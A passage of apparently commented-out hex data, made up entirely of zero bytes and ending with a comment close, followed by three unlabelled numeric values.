00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
32.64
2,999
0.654684